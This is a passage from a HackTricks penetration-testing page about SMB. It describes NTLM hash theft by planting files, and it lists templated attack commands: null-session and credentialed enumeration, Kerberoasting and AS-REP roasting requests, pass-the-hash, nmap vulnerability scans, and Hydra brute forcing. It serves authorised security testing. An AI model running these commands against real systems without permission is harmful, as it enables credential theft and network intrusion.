![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
|
|
|
|
### SMBTrap using MitMf
|
|
|
|
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
|
|
|
|
## NTLM Theft
|
|
|
|
Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](pentesting-smb.md#smb-relay-attack).
|
|
|
|
[See: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
|
|
|
## HackTricks Automatic Commands
|
|
|
|
```
|
|
Protocol_Name: SMB #Protocol Abbreviation if there is one.
|
|
Port_Number: 137,138,139 #Comma separated if there is more than one.
|
|
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Notas
|
|
Description: Notas para SMB
|
|
Note: |
|
|
Mientras que el puerto 139 se conoce técnicamente como 'NBT sobre IP', el puerto 445 es 'SMB sobre IP'. SMB significa 'Server Message Blocks'. Server Message Block en lenguaje moderno también se conoce como Common Internet File System. El sistema funciona como un protocolo de red de capa de aplicación utilizado principalmente para ofrecer acceso compartido a archivos, impresoras, puertos serie y otros tipos de comunicaciones entre nodos en una red.
|
|
|
|
#Estos son los comandos que ejecuto en orden cada vez que veo un puerto SMB abierto
|
|
|
|
Sin credenciales
|
|
nbtscan {IP}
|
|
smbmap -H {IP}
|
|
smbmap -H {IP} -u null -p null
|
|
smbmap -H {IP} -u guest
|
|
smbclient -N -L //{IP}
|
|
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
|
|
rpcclient {IP}
|
|
rpcclient -U "" {IP}
|
|
crackmapexec smb {IP}
|
|
crackmapexec smb {IP} --pass-pol -u "" -p ""
|
|
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
|
|
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
|
|
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
|
|
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
|
|
getArch.py -target {IP}
|
|
|
|
Con credenciales
|
|
smbmap -H {IP} -u {Username} -p {Password}
|
|
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
|
|
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
|
|
crackmapexec smb {IP} -u {Username} -p {Password} --shares
|
|
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
|
|
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
|
|
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
|
|
|
|
https://book.hacktricks.xyz/pentesting/pentesting-smb
|
|
|
|
Entry_2:
|
|
Name: Enum4Linux
|
|
Description: Escaneo SMB general
|
|
Command: enum4linux -a {IP}
|
|
|
|
Entry_3:
|
|
Name: Nmap SMB Scan 1
|
|
Description: Escaneo de vulnerabilidades SMB con Nmap
|
|
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
|
|
|
|
Entry_4:
|
|
Name: Nmap Smb Scan 2
|
|
Description: Escaneo de vulnerabilidades SMB con Nmap (Menos específico)
|
|
Command: nmap --script smb-vuln* -Pn -p 139,445 {IP}
|
|
|
|
Entry_5:
|
|
Name: Hydra Brute Force
|
|
Description: Requiere usuario
|
|
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
|
|
|
|
Entry_6:
|
|
Name: Enumeración SMB/SMB2 139/445 sin consola mfs
|
|
Description: Enumeración SMB/SMB2 139/445 sin necesidad de ejecutar msfconsole
|
|
Note: obtenido de https://github.com/carlospolop/legion
|
|
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
|
|
```
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|